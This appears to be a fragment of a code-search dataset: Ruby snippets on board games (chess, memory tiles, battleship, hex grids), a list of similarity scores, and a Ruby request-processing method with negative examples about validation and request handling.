"def grid\n if 1 <= poster_slot && poster_slot <= 66\n offset = 1\n number_per_row = 11\n total_rows = 6\n group = 1\n row = total_rows - 1 - (poster_slot - offset).div(number_per_row)\n col = (poster_slot - offset).modulo(number_per_row)\n col = number_per_row - 1 - col if row.even? # invert\n elsif 67 <= poster_slot && poster_slot <= 96\n offset = 67\n number_per_row = 15\n group = 2\n total_rows = 2\n row = total_rows - 1 - (poster_slot - offset).div(number_per_row)\n col = (poster_slot - offset).modulo(number_per_row)\n col = number_per_row - 1 - col if row.even? # invert\n elsif 97 <= poster_slot && poster_slot <= 144\n offset = 97\n number_per_row = 6\n group = 3\n total_rows = 8\n row = total_rows - 1 - (poster_slot - offset).div(number_per_row)\n col = (poster_slot - offset).modulo(number_per_row)\n col = number_per_row - 1 - col if row.odd? # invert\n elsif 145 <= poster_slot && poster_slot <= 184\n offset = 145\n number_per_row = 20\n group = 4\n total_rows = 2\n row = total_rows - 1 - (poster_slot - offset).div(number_per_row)\n col = (poster_slot - offset).modulo(number_per_row)\n col = number_per_row - 1 - col if row.even? # invert\n elsif 185 <= poster_slot && poster_slot <= 284\n offset = 185\n number_per_row = 25\n group = 5\n total_rows = 4\n row = total_rows - 1 - (poster_slot - offset).div(number_per_row)\n col = (poster_slot - offset).modulo(number_per_row)\n col = number_per_row - 1 - col if row.even? # invert\n elsif 285 <= poster_slot && poster_slot <= 314\n offset = 285\n number_per_row = 5\n group = 6\n total_rows = 6\n row = (poster_slot - offset).div(number_per_row)\n col = (poster_slot - offset).modulo(number_per_row)\n col = number_per_row - 1 - col if row.even? # invert\n else\n return nil\n end\n Grid.new(col, row, group)\n end",
"def initializeBoard()\n\n # TO DO: COMPLETE THIS METHOD\n maxMid = @size / 2\n minMid = @size / 2 - 1\n for i in 0..size-1\n for j in 0..size-1\n if i == maxMid && j == maxMid\n @board[i][j] = \"B\"\n elsif i == minMid && j == minMid\n @board[i][j] = \"B\"\n elsif (i == minMid || i == maxMid) && (j == maxMid || j == minMid)\n @board[i][j] = \"W\"\n else\n @board[i][j] = \"-\";\n end\n end\n end\n end",
"def pick_tiles\n if button_down? Gosu::KbEscape then\n close\n end\n \tif @phase == 0 \n \t\tif button_down? Gosu::MsLeft then\n \t\t\t# TILE 1\n \t\t\tif (mouse_x >= 0 and mouse_x <= 250) and (mouse_y >= 0 and mouse_y <= 250) and (!@game_board.is_matched(0)) then\n \t\t\t\t@game_board.flip_tile(0, true)\n \t\t\t\t@picked = 0\n \t\t\t\t@phase = 1\n \t\t\t# TILE 2\n \t\t\telsif (mouse_x > 250 and mouse_x <= 500) and (mouse_y >= 0 and mouse_y <= 250) and (!@game_board.is_matched(1)) then\n \t\t\t\t@game_board.flip_tile(1, true)\n \t\t\t\t@picked = 1\n \t\t\t\t@phase = 1\n \t\t\t# TILE 3\n \t\t\telsif (mouse_x > 500 and mouse_x <= 750) and (mouse_y >= 0 and mouse_y <= 250) and (!@game_board.is_matched(2)) then\n \t\t\t\t@game_board.flip_tile(2, true)\n \t\t\t\t@picked = 2\n \t\t\t\t@phase = 1\n \t\t\t# TILE 4\n \t\t\telsif (mouse_x > 750 and mouse_x <= 1000) and (mouse_y >= 0 and mouse_y <= 250) and (!@game_board.is_matched(3))then\n \t\t\t\t@game_board.flip_tile(3, true)\n \t\t\t\t@picked = 3\n \t\t\t\t@phase = 1\n \t\t\t# TILE 5\n \t\t\telsif (mouse_x > 1000 and mouse_x <= 1250) and (mouse_y >= 0 and mouse_y <= 250) and (!@game_board.is_matched(4)) then\n \t\t\t\t@game_board.flip_tile(4, true)\n \t\t\t\t@picked = 4\n \t\t\t\t@phase = 1\n \t\t\t# TILE 6\n \t\t\telsif (mouse_x >= 0 and mouse_x <= 250) and (mouse_y > 500 and mouse_y <= 750) and (!@game_board.is_matched(5)) then\n \t\t\t\t@game_board.flip_tile(5, true)\n \t\t\t\t@picked = 5\n \t\t\t\t@phase = 1\n \t\t\t# TILE 7\n \t\t\telsif (mouse_x > 250 and mouse_x <= 500) and (mouse_y > 500 and mouse_y <= 750) and (!@game_board.is_matched(6)) then\n \t\t\t\t@game_board.flip_tile(6, true)\n \t\t\t\t@picked = 6\n \t\t\t\t@phase = 1\n \t\t\t# TILE 8\n \t\t\telsif (mouse_x > 500 and mouse_x <= 750) and (mouse_y > 500 and mouse_y <= 750) and (!@game_board.is_matched(7)) then\n \t\t\t\t@game_board.flip_tile(7, true)\n \t\t\t\t@picked = 7\n \t\t\t\t@phase = 1\n \t\t\t# TILE 9\n \t\t\telsif (mouse_x > 750 and mouse_x <= 1000) and (mouse_y > 500 and mouse_y <= 750) and (!@game_board.is_matched(8)) then\n \t\t\t\t@game_board.flip_tile(8, true)\n \t\t\t\t@picked = 8\n \t\t\t\t@phase = 1\n \t\t\t# TILE 10\n \t\t\telsif (mouse_x > 1000 and mouse_x <= 1250) and (mouse_y > 500 and mouse_y <= 750) and (!@game_board.is_matched(9)) then\n \t\t\t\t@game_board.flip_tile(9, true)\n \t\t\t\t@picked = 9\n \t\t\t\t@phase = 1\n \t\t\tend\n \t\t\tsleep(0.2) # needs delay because gosu's mouse click event seems to be hyper sensitive and picks up multiple clicks instead of 1\n \t\tend\n \telse @phase == 1\n \t\tif button_down? Gosu::MsLeft then\n \t\t# TILE 1\n \t\t\tif (mouse_x >= 0 and mouse_x <= 250) and (mouse_y >= 0 and mouse_y <= 250) and (@picked != 0) and (!@game_board.is_matched(0)) then\n \t\t\t\t@game_board.flip_tile(0, true)\n \t\t\t\t@picked2 = 0\n \t\t\t\t@pickedSecond = true\n \t\t\t# TILE 2\n \t\t\telsif (mouse_x > 250 and mouse_x <= 500) and (mouse_y >= 0 and mouse_y <= 250) and (@picked != 1) and (!@game_board.is_matched(1)) then\n \t\t\t\t@game_board.flip_tile(1, true)\n \t\t\t\t@picked2 = 1\n \t\t\t\t@pickedSecond = true\n \t\t\t# TILE 3\n \t\t\telsif (mouse_x > 500 and mouse_x <= 750) and (mouse_y >= 0 and mouse_y <= 250) and (@picked != 2) and (!@game_board.is_matched(2)) then\n \t\t\t\t@game_board.flip_tile(2, true)\n \t\t\t\t@picked2 = 2\n \t\t\t\t@pickedSecond = true\n \t\t\t# TILE 4\n \t\t\telsif (mouse_x > 750 and mouse_x <= 1000) and (mouse_y >= 0 and mouse_y <= 250) and (@picked != 3) and (!@game_board.is_matched(3)) then\n \t\t\t\t@game_board.flip_tile(3, true)\n \t\t\t\t@picked2 = 3\n \t\t\t\t@pickedSecond = true\n \t\t\t# TILE 5\n \t\t\telsif (mouse_x > 1000 and mouse_x <= 1250) and (mouse_y >= 0 and mouse_y <= 250) and (@picked != 4) and (!@game_board.is_matched(4)) then\n \t\t\t\t@game_board.flip_tile(4, true)\n \t\t\t\t@picked2 = 4\n \t\t\t\t@pickedSecond = true\n \t\t\t# TILE 6\n \t\t\telsif (mouse_x >= 0 and mouse_x <= 250) and (mouse_y > 500 and mouse_y <= 750) and (@picked != 5) and (!@game_board.is_matched(5)) then\n \t\t\t\t@game_board.flip_tile(5, true)\n \t\t\t\t@picked2 = 5\n \t\t\t\t@pickedSecond = true\n \t\t\t# TILE 7\n \t\t\telsif (mouse_x > 250 and mouse_x <= 500) and (mouse_y > 500 and mouse_y <= 750) and (@picked != 6) and (!@game_board.is_matched(6)) then\n \t\t\t\t@game_board.flip_tile(6, true)\n \t\t\t\t@picked2 = 6\n \t\t\t\t@pickedSecond = true\n \t\t\t# TILE 8\n \t\t\telsif (mouse_x > 500 and mouse_x <= 750) and (mouse_y > 500 and mouse_y <= 750) and (@picked != 7) and (!@game_board.is_matched(7)) then\n \t\t\t\t@game_board.flip_tile(7, true)\n \t\t\t\t@picked2 = 7\n \t\t\t\t@pickedSecond = true\n \t\t\t# TILE 9\n \t\t\telsif (mouse_x > 750 and mouse_x <= 1000) and (mouse_y > 500 and mouse_y <= 750) and (@picked != 8) and (!@game_board.is_matched(8)) then\n \t\t\t\t@game_board.flip_tile(8, true)\n \t\t\t\t@picked2 = 8\n \t\t\t\t@pickedSecond = true\n \t\t\t# TILE 10\n \t\t\telsif (mouse_x > 1000 and mouse_x <= 1250) and (mouse_y > 500 and mouse_y <= 750) and (@picked != 9) and (!@game_board.is_matched(9)) then\n \t\t\t\t@game_board.flip_tile(9, true)\n \t\t\t\t@picked2 = 9\n \t\t\t\t@pickedSecond = true\n \t\t\tend\n\t\t\tsleep(0.2) # needs delay because gosu's mouse click event seems to be hyper sensitive and picks up multiple clicks instead of 1\n \t\tend\n \tend\n end",
"def place_bishops\r\n $board[2][0] = Bishop.new('white')\r\n\t\t$board[5][0] = Bishop.new('white')\r\n\t\t$board[2][7] = Bishop.new('black')\r\n\t\t$board[5][7] = Bishop.new('black')\r\n end",
"def build_board\n @original_board\n @working_board.collect! { |row|\n row.collect! { |cell|\n cell = @original_board.shift\n }\n }\n @working_board\n end",
"def loser_board\n @grid.each do |row|\n puts row.join(' ')\n end\n end",
"def place_special_pieces(row, color)\n\t\t@board[0][row].piece = Rook.new(color)\n\t\t@board[1][row].piece = Knight.new(color)\n\t\t@board[2][row].piece = Bishop.new(color)\n\t\t@board[3][row].piece = King.new(color)\n\t\t@board[4][row].piece = Queen.new(color)\n\t\t@board[5][row].piece = Bishop.new(color)\n\t\t@board[6][row].piece = Knight.new(color)\n\t\t@board[7][row].piece = Rook.new(color)\n\tend",
"def fill_board\n\t\tfill_row_pieces(0, 'b')\n\t\tfill_row_pawn(1, 'b')\n\t\tfill_row_pieces(7, 'w')\n\t\tfill_row_pawn(6, 'w')\n\tend",
"def test_knights_repeat_moving_should_stalemate\n e = RulesEngine.new\n place_pieces(e, \"\n K - - N - - - -\n - - - - - - - -\n - - - - - - - -\n - - - - - - - -\n - - - - - - - -\n - - - - - - - -\n - - - - - - - -\n k - - n - - - -\n \")\n\n e.move!(D1, B2);\n e.move!(D8, B7);\n e.move!(B2, D1);\n e.move!(B7, D8);\n\n e.move!(D1, B2);\n e.move!(D8, B7);\n e.move!(B2, D1);\n e.move!(B7, D8);\n\n e.move!(D1, B2);\n e.move!(D8, B7);\n e.move!(B2, D1);\n e.move!(B7, D8);\n\n assert(e.draw?(Colour::WHITE))\n assert(e.draw?(Colour::BLACK))\n end",
"def is_tile_flipped_h?(x, y)\n false\n end",
"def starting_board\n init_rows([0, 2], :black)\n init_rows([5, 7], :red)\n end",
"def reset\n\t\t@board = Array.new(3) {Array.new(3,\" \")}\n\tend",
"def board\n\n end",
"def place_random_ship\n unless full?\n placement = []\n placement << (0...@grid.length).to_a.shuffle.first\n placement << (0...@grid[0].length).to_a.shuffle.first\n @grid[placement[0]][placement[1]] = :s\n else\n raise 'Board is full'\n end\n\n end",
"def board\n end",
"def connect_spaces\n\n # set the tile-tile, tile-vtex, and tile-edge links\n @tiles.each do |tile|\n r, c = tile.row, tile.col\n\n # link the tile with its 6 neighboring tiles\n [[[ r-1 , c-1 ], :nw, :se],\n [[ r-1 , c ], :ne, :sw],\n [[ r , c+1 ], :e , :w ],\n [[ r+1 , c+1 ], :se, :nw],\n [[ r+1 , c ], :sw, :ne],\n [[ r , c-1 ], :w , :e ],\n ].each do |coords, dir1, dir2|\n other = @tile_map[coords]\n tile.set_tile(dir1, other)\n other.set_tile(dir2, tile) unless other.nil?\n end\n\n # link the tile with its 6 neighboring vertexes\n [[[ r-1 , c-1 , :down ], :nw, :se],\n [[ r , c , :up ], :n , :s ],\n [[ r-1 , c , :down ], :ne, :sw],\n [[ r+1 , c+1 , :up ], :se, :nw],\n [[ r , c , :down ], :s , :n ],\n [[ r+1 , c , :up ], :sw, :ne],\n ].each do |coords, dir1, dir2|\n vtex = @vtex_map[coords]\n tile.set_vtex(dir1, vtex)\n vtex.set_tile(dir2, tile) unless vtex.nil?\n end\n\n # link the tile with its 6 neighboring edges\n [[[ r , c , :vert ], :w , :e ],\n [[ r , c , :asc ], :nw, :se],\n [[ r , c , :desc ], :ne, :sw],\n [[ r , c+1 , :vert ], :e , :w ],\n [[ r+1 , c+1 , :asc ], :se, :nw],\n [[ r+1 , c , :desc ], :sw, :ne],\n ].each do |coords, dir1, dir2|\n edge = @edge_map[coords]\n tile.set_edge(dir1, edge)\n edge.set_tile(dir2, tile) unless edge.nil?\n end\n end\n\n # link the :up vertexes with neighboring edges\n @up_vtexs.each do |vtex|\n r, c = vtex.row, vtex.col\n [[[ r-1 , c , :vert ], :n , :s ],\n [[ r , c , :asc ], :sw, :ne],\n [[ r , c , :desc ], :se, :nw],\n ].each do |coords, dir1, dir2|\n edge = @edge_map[coords]\n vtex.set_edge(dir1, edge)\n edge.set_vtex(dir2, vtex) unless edge.nil?\n end\n end\n\n # link the :down vertexes with neighboring edges\n @down_vtexs.each do |vtex|\n r, c = vtex.row, vtex.col\n [[[ r+1 , c+1 , :vert ], :s , :n ],\n [[ r+1 , c+1 , :asc ], :ne, :sw],\n [[ r+1 , c , :desc ], :nw, :se],\n ].each do |coords, dir1, dir2|\n edge = @edge_map[coords]\n vtex.set_edge(dir1, edge)\n edge.set_vtex(dir2, vtex) unless edge.nil?\n end\n end\n end",
"def snake_or_ladder(board_size)\n start = random_cell_value(board_size)\n ending = random_cell_value(board_size)\n return {start=>ending} unless start == ending\n snake_or_ladder(board_size) \n end",
"def _minimap_autotile\n b = Bitmap.new(24, 32)\n c1 = Color.new(191, 191, 191)\n c2 = Color.new(255, 255, 255)\n b.fill_rect(2, 0, 4, 1, c2)\n b.set_pixel(1, 1, c2)\n b.fill_rect(2, 1, 4, 6, c1)\n b.set_pixel(6, 1, c2)\n b.fill_rect(0, 2, 1, 4, c2)\n b.fill_rect(1, 2, 1, 4, c1)\n b.fill_rect(6, 2, 1, 4, c1)\n b.fill_rect(7, 2, 1, 4, c2)\n b.set_pixel(1, 6, c2)\n b.set_pixel(6, 6, c2)\n b.fill_rect(2, 7, 4, 1, c2)\n b.fill_rect(7, 8, 10, 1, c2)\n b.set_pixel(6, 9, c2)\n b.fill_rect(7, 9, 10, 22, c1)\n b.set_pixel(17, 9, c2)\n b.set_pixel(5, 10, c2)\n b.fill_rect(6, 10, 1, 20, c1)\n b.fill_rect(17, 10, 1, 20, c1)\n b.set_pixel(18, 10, c2)\n b.set_pixel(4, 11, c2)\n b.fill_rect(5, 11, 1, 18, c1)\n b.fill_rect(18, 11, 1, 18, c1)\n b.set_pixel(19, 11, c2)\n b.set_pixel(3, 12, c2)\n b.fill_rect(4, 12, 1, 16, c1)\n b.fill_rect(19, 12, 1, 16, c1)\n b.set_pixel(20, 12, c2)\n b.set_pixel(2, 13, c2)\n b.fill_rect(3, 13, 1, 14, c1)\n b.fill_rect(20, 13, 1, 14, c1)\n b.set_pixel(21, 13, c2)\n b.set_pixel(1, 14, c2)\n b.fill_rect(2, 14, 1, 12, c1)\n b.fill_rect(21, 14, 1, 12, c1)\n b.set_pixel(22, 14, c2)\n b.fill_rect(0, 15, 1, 10, c2)\n b.fill_rect(1, 15, 1, 10, c1)\n b.fill_rect(22, 15, 1, 10, c1)\n b.fill_rect(23, 15, 1, 10, c2)\n b.set_pixel(1, 25, c2)\n b.set_pixel(22, 25, c2)\n b.set_pixel(2, 26, c2)\n b.set_pixel(21, 26, c2)\n b.set_pixel(3, 27, c2)\n b.set_pixel(20, 27, c2)\n b.set_pixel(4, 28, c2)\n b.set_pixel(19, 28, c2)\n b.set_pixel(5, 29, c2)\n b.set_pixel(18, 29, c2)\n b.set_pixel(6, 30, c2)\n b.set_pixel(17, 30, c2)\n b.fill_rect(7, 31, 10, 1, c2)\n return b\n end",
"def temporary_board(start, stop)\r\n temp_board = $board.map {|line| line.dup}\r\n piece = piece_in_play(start)\r\n temp_board[stop[0]][ stop[1]] = piece\r\n temp_board[start[0]][ start[1]] = nil\r\n return temp_board\r\n end",
"def scratch?(board)\n !won?(board) && full?(board)\nend",
"def hidden_ships_grid\n new_grid = @grid.map do |subarray|\n subarray.map do |ele|\n if ele == :S \n ele = :N \n else\n ele\n end\n end \n end\n new_grid\n end",
"def put_board\n\t\t#system \"clear\" or system \"cls\"\n #system \"clear\" or system \"cls\"\n\t\ti = 7\n\t\tn = false\n\t\twhile i>=0 do\n\t\t if n == false\n\t\t row(@table,i)\n\t\t n = true\n\t\t else\n\t\t row(@table,i,n)\n\t\t n = false \n\t\t end\n\t i-=1\n\t end\n return \"\"\n\tend",
"def dup_board\n new_board = Board.new(false)\n self.grid.each_with_index do |row, i|\n row.each_with_index do |object, j|\n pos = [i, j]\n if object.nil?\n new_board[pos] = nil\n else\n new_board[pos] = Piece.new(object.color, pos, new_board)\n end\n end\n end\n\n new_board\n end",
"def render\n @board.grid.each_with_index do |row, row_i|\n row.each_with_index do |col, col_i|\n if all_even?(row_i, col_i) || all_odd?(row_i, col_i) # this condition is for white # the two cases where the board is white is when either both row and col are even or both are odd, amazing, quite elegant\n print_piece(col, row_i, col_i, piece_color(col), \"#9AB3C9\")\n else\n print_piece(col, row_i, col_i, piece_color(col), \"#4A7190\") # this is for black lol the hex colors don't make it as clear anymore lol\n end\n end\n puts # make a new line after each row\n end\n nil # so it doesn't return the whole board just a placeholder while you play with this thing\n end",
"def sample_board\n\t\t puts \"\\n\\n1|2|3\"\n\t\t puts \"-----\"\n\t\t puts \"4|5|6\"\n\t\t puts \"-----\"\n\t\t puts \"7|8|9\"\n\t\tend",
"def start \n puts \"Welcome to RubySweeper\"\n\n\n\n board = board()\n plays = [['-', '-', '-', '-','-'], ['-', '-', '-', '-','-'], ['-', '-', '-', '-','-'], ['-', '-', '-', '-','-'], ['-', '-', '-', '-','-']]\n\n playGame(board, plays)\nend",
"def wipe_3x3_squares(board)\n for y in [0, 3, 6]\n for x in [0, 3, 6]\n for yy in(y...y+3)\n for xx in (x...x+3)\n if board[yy][xx][0] != 0\n wipe = board[yy][xx][0]\n for yyy in (y...y+3)\n for xxx in(x...x+3)\n board[yyy][xxx][wipe] = 0\n end\n end\n end\n end\n end\n end\n end\n return\n end",
"def sample_board\n\tputs \" 1 | 2 | 3\"\n puts \"-----------\"\n puts \" 4 | 5 | 6\"\n puts \"-----------\"\n puts \" 7 | 8 | 9\"\n\tend"
] | [
"0.61197764",
"0.60431886",
"0.59968626",
"0.5990148",
"0.5925573",
"0.59176254",
"0.5896609",
"0.58956623",
"0.5866875",
"0.5858822",
"0.58477473",
"0.5846091",
"0.583172",
"0.5825306",
"0.57986695",
"0.5786398",
"0.57670075",
"0.57513285",
"0.57303077",
"0.5724194",
"0.5711204",
"0.5706014",
"0.567654",
"0.56507546",
"0.56505907",
"0.56504273",
"0.56386",
"0.5636752",
"0.5628474",
"0.5627291",
"0.56225234",
"0.56048995",
"0.55957884",
"0.55901045",
"0.55896443",
"0.5582146",
"0.55785733",
"0.55715114",
"0.5566775",
"0.55591863",
"0.55329925",
"0.55320626",
"0.5531679",
"0.5523045",
"0.5522891",
"0.5518684",
"0.551867",
"0.5517033",
"0.5514983",
"0.5511613",
"0.5505264",
"0.5504276",
"0.55029464",
"0.55013126",
"0.54802144",
"0.5475844",
"0.547324",
"0.54711413",
"0.5470823",
"0.5470394",
"0.54665697",
"0.54625756",
"0.5461598",
"0.54532045",
"0.5439054",
"0.543278",
"0.5431721",
"0.5424966",
"0.5422805",
"0.54204994",
"0.5420106",
"0.54059696",
"0.5402374",
"0.53997904",
"0.5399233",
"0.5397825",
"0.53960323",
"0.5392266",
"0.5385667",
"0.5384617",
"0.5380532",
"0.53789175",
"0.5376458",
"0.5374075",
"0.53725934",
"0.5368859",
"0.53654325",
"0.536311",
"0.53610116",
"0.5358657",
"0.53482246",
"0.53456753",
"0.5339698",
"0.53394765",
"0.5338594",
"0.53383815",
"0.533549",
"0.5334928",
"0.53316694",
"0.5330878"
] | 0.6045129 | 1 |
Public Methods Process => Validate, setup all appropriate request data, and register contexts => Return self | def process
raise RequestValidationError unless validate
@roles = get_roles
@user = get_or_create_user
@resource = get_resource
@assignment = get_assignment
@space = get_space
@space_user = get_or_create_space_user
register
self
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def process\n klass.new(request).process\n end",
"def perform\n\n r = validate\n return r unless r.success?\n\n process_hook\n\n end",
"def run(*params)\n setup!(*params) # where do we assign/find the model?\n\n [process(*params), @valid].reverse\n end",
"def process\n process_setting_specs\n process_shard_specs\n process_connection_specs\n end",
"def perform\n\n handle_errors_and_exceptions do\n\n r = validate\n return r unless r.success?\n\n r = set_parts\n return r unless r.success?\n\n r = validate_token\n return r unless r.success?\n\n r = fetch_client\n return r unless r.success?\n\n r = validate_client_manager\n return r unless r.success?\n\n r = set_extended_cookie_value\n return r unless r.success?\n\n success_with_data(\n extended_cookie_value: @extended_cookie_value,\n manager_id: @manager_id,\n manager_device_id: @manager_device_id,\n manager_device: @manager_device,\n manager: @manager,\n client_id: @manager[:current_client_id],\n client: @client,\n client_manager: @client_manager\n )\n\n end\n\n end",
"def perform\n validate_data_from_requests\n end",
"def call(initial_request)\n request_xml = yield convert_to_xml(initial_request)\n _validation_result = yield validate_xml(request_xml)\n Success(request_xml)\n end",
"def process(*args)\n req = Request.create self, *args\n req.apply\n req\n end",
"def process(request); end",
"def validate(context = Attributor::DEFAULT_ROOT_CONTEXT)\n self.validate_attributes(context) +\n self.validate_requirements(context) +\n self.validate_keys(context)\n end",
"def perform\n\n handle_errors_and_exceptions do\n\n r = validate\n return r unless r.success?\n\n r = fetch_manager_validation_hash_details\n return r unless r.success?\n\n r = create_secure_data_acccess_token\n return r unless r.success?\n\n r = send_mail\n return r unless r.success?\n\n success_with_data({manager_validation_hash_id: @manager_validation_hash[:id]})\n\n end\n\n end",
"def validate!\n return @valid if !@valid.nil? # only need to run this once per config\n\n # ensure all user and plugin configs are applied\n self.init_procs.each(&:call)\n raise Deas::ServerRootError if self.root.nil?\n\n # validate the router\n self.router.validate!\n\n # TODO: build final middleware stack when building the rack app, not here\n # (once Sinatra is removed)\n\n # prepend the method override middleware first. This ensures that the\n # it is run before any other middleware\n self.middlewares.unshift([Rack::MethodOverride]) if self.method_override\n\n # append the show exceptions and logging middlewares next-to-last. This\n # ensures the logging and exception showing happens just before the\n # optional trailing slashes handling. It should be just before the app\n # gets the request and just after the app sends a response (except for\n # trailing slashes - this should happen inside of the show exceptions\n # and logging behavior).\n self.middlewares << [Deas::ShowExceptions] if self.show_exceptions\n self.middlewares << [\n Deas::Logging.middleware_type(self.verbose_logging),\n self.logger\n ]\n\n # optionally add the trailing slashes middleware last b/c it should\n # happen inside of show exceptions and logging. we want the behavior\n # to feel like app behavior to the rest of the middleware stack so it\n # needs to be just before the app gest the request and just after the\n # app sends a response.\n if self.router.trailing_slashes_set?\n self.middlewares << [Deas::TrailingSlashes, self.router]\n end\n\n self.middlewares.freeze\n\n @valid = true # if it made it this far, its valid!\n end",
"def parse_context\n Context.new(@req[:context])\n end",
"def _prepare_context; end",
"def execute!\n validate_request!\n\n build_response!\n end",
"def perform\n\n handle_errors_and_exceptions do\n\n r = validate\n return r unless r.success?\n\n r = fetch_sub_env_payloads\n return r unless r.success?\n\n success_with_data(\n {\n manager: @manager,\n client: @client,\n client_manager: @client_manager,\n sub_env_payloads: @sub_env_payloads\n })\n\n end\n\n end",
"def init_processing \n # intentionally trigger creation of session if it didn't already exist\n # because we need to track session ID for caching. Can't find any\n # way to force session creation without setting a value in session,\n # so we do this weird one.\n session[nil] = nil\n\n\n\n # We have to clean the params of bad char encoding bytes, or it causes\n # no end of problems later. We can't just refuse to process, sources\n # do send us bad bytes, I'm afraid.\n params.values.each do |v|\n v.scrub! if v.respond_to?(:'scrub!')\n end\n # Create an UmlautRequest object.\n options = {}\n if ( @@no_create_request_actions.include?(params[:action]) )\n options[:allow_create] = false\n end\n @user_request ||= Request.find_or_create(params, session, request, options )\n # If we chose not to create a request and still don't have one, bale out.\n return unless @user_request\n @user_request.save!\n @collection = create_collection\n end",
"def process!\n\n # Apply state logic and rules— stored and primed in this instance.\n # This ensures all instance variables are setup and defined for the\n # view functions to utilize.\n thinker unless @thinked.present?\n\n # Mark this instance as having thinked already.\n # We will use this at various points to ensure this instance\n # has been processed.\n @thinked = true\n end",
"def call\n @s2cgi_page_id = self.generate_page_id\n @cgi ||= ::CGI.new\n @validate = Seasar::Validate::Context.new\n @headers = {}\n @contents = ''\n @auto_render = true\n @auto_response = true\n @tpl_stack = []\n\n raise \"unsupport request method. [#{@cgi.request_method}]\" unless ACCEPTABLE_METHODS.member?(@cgi.request_method.to_sym)\n\n self.init\n\n method_name = @cgi.request_method.downcase.to_sym\n validate_method_name = \"validate_#{method_name}\"\n\n validate_result = true\n validators = @@validators[self.class].nil? ? {} : @@validators[self.class]\n if validators.key?(:all)\n validate_result = self.instance_eval(&validators[:all])\n end\n\n if validate_result == true\n if validators.key?(method_name)\n validate_result = self.instance_eval(&validators[method_name])\n elsif self.respond_to?(validate_method_name)\n validate_result = self.method(validate_method_name).call\n end\n if validate_result == true && self.respond_to?(method_name)\n self.method(method_name).call\n end\n end\n render if @auto_render && @contents.size == 0\n if @auto_response\n self.out\n end\n end",
"def run_validations(context)\n __run_validations__(context)\n end",
"def validate\n ClaimsApi::Logger.log('itf', detail: '0966/validate - Request Started')\n add_deprecation_headers_to_response(response:, link: ClaimsApi::EndpointDeprecation::V1_DEV_DOCS)\n validate_json_schema\n validate_veteran_identifiers(require_birls: true)\n check_for_invalid_burial_submission! if form_type == 'burial'\n\n ClaimsApi::Logger.log('itf', detail: '0966/validate - Request Completed')\n render json: validation_success\n end",
"def call(env)\n @s2cgi_page_id = self.generate_page_id\n @page_id = @s2cgi_page_id\n @env = env\n self.request = ::Rack::Request.new(env)\n self.response = ::Rack::Response.new\n @validate = Seasar::Validate::Context.new\n @tpl_stack = []\n @auto_render = true\n\n unless ::Rack::MethodOverride::HTTP_METHODS.member?(@request.request_method)\n raise \"unsupport request method. [#{@env['rack.methodoverride.original_method']} -> #{@request.request_method}]\"\n end\n\n self.init\n method_name = @request.request_method.downcase.to_sym\n validate_method_name = \"validate_#{method_name}\"\n\n validate_result = true\n validators = @@validators[self.class].nil? ? {} : @@validators[self.class]\n if validators.key?(:all)\n validate_result = self.instance_eval(&validators[:all])\n end\n\n if validate_result == true\n if validators.key?(method_name)\n validate_result = self.instance_eval(&validators[method_name])\n elsif self.respond_to?(validate_method_name)\n validate_result = self.method(validate_method_name).call\n end\n if validate_result == true && self.respond_to?(method_name)\n self.method(method_name).call\n end\n end\n\n render if @auto_render && @response.body.size == 0 && @response.status == 200\n return self.out\n end",
"def perform\n r = validate_and_sanitize\n return r unless r.success?\n\n r = validate_client_details\n return r unless r.success?\n\n fetch_user\n\n r = validate_user\n return r unless r.success?\n\n r = validate_user_state\n # dont return error if token is wrong.. user token sale state wont change and thus he will be redirected to verify page in web\n # return r unless r.success?\n\n r = fetch_client_setting_data_from_cache\n return r unless r.success?\n\n success_with_data(success_response)\n end",
"def process\n # self.update_attributes(state: 'processing')\n interactor = \"::#{self.handler.class.name}::#{self.action_name.camelcase}\".constantize\n context = interactor.call({\n product_instance: self.product_instance,\n handler: self.handler,\n job: self,\n })\n if context.failure?\n self.error_messages ||= []\n self.error_messages << context.errors if context.errors.present?\n self.save\n end\n context\n end",
"def perform\n\n handle_errors_and_exceptions do\n\n r = validate\n return r unless r.success?\n\n r = fetch_client_manager\n return r unless r.success?\n\n r = validate_invitee_manager_exists\n return r unless r.success?\n\n r = create_invite_token\n return r unless r.success?\n\n r = enqueue_job\n return r unless r.success?\n\n success\n\n end\n\n end",
"def resolve!\n super()\n validate!\n self\n end",
"def process_context context\n\n # Add your own data organisation here\n\n # If you wish, you can examine context[:src_filename] to determine\n # which view you are preparing. Alternatively, you can just give\n # every view an identical context.\n\n add_content_items_to_collections context\n\n if context[:src_filename] == './src/indicator-visualisations/index.html.mustache'\n add_viz_styles context\n add_viz_scripts context\n end\n if context[:src_filename] == './src/indicator-descriptions/index.html.mustache'\n add_desc_styles context\n add_desc_scripts context\n end\n if context[:src_filename] == './src/indicator-descriptions/all/index.html.mustache'\n add_all_desc_styles context\n add_all_desc_scripts context\n end\n end",
"def start_request\n return unless request.workflow.try(:external_processing?)\n return unless runtime_validate_group(request)\n\n template = request.workflow.template\n processor_class = \"#{template.process_setting['processor_type']}_process_service\".classify.constantize\n ref = processor_class.new(request).start\n request.update!(:process_ref => ref)\n end",
"def call(medicare_request)\n request_xml = yield convert_to_xml(medicare_request)\n _validation_result = yield validate_xml(request_xml)\n Success(request_xml)\n end",
"def process_request\n @build_xml = build_xml\n pickup_serv_log('Final XML Request : ' + @build_xml.to_s)\n api_url_srv = api_url + \"/pickup\"\n pickup_serv_log('URL for API : ' + api_url_srv.to_s)\n api_response = self.class.post(api_url_srv, :body => build_xml)\n pickup_serv_log('API Response : ' + api_response.to_s)\n puts api_response if @debug\n response = parse_response(api_response)\n if success?(response)\n pickup_serv_log('Successfully Done : ' + response.to_s)\n success_response(api_response, response)\n else\n failure_response(api_response, response)\n end\n end",
"def process_request\n api_response = self.class.post(api_url, :body => build_xml)\n puts api_response if @debug\n response = parse_response(api_response)\n if success?(response)\n success_response(api_response, response)\n else\n failure_response(api_response, response)\n end\n end",
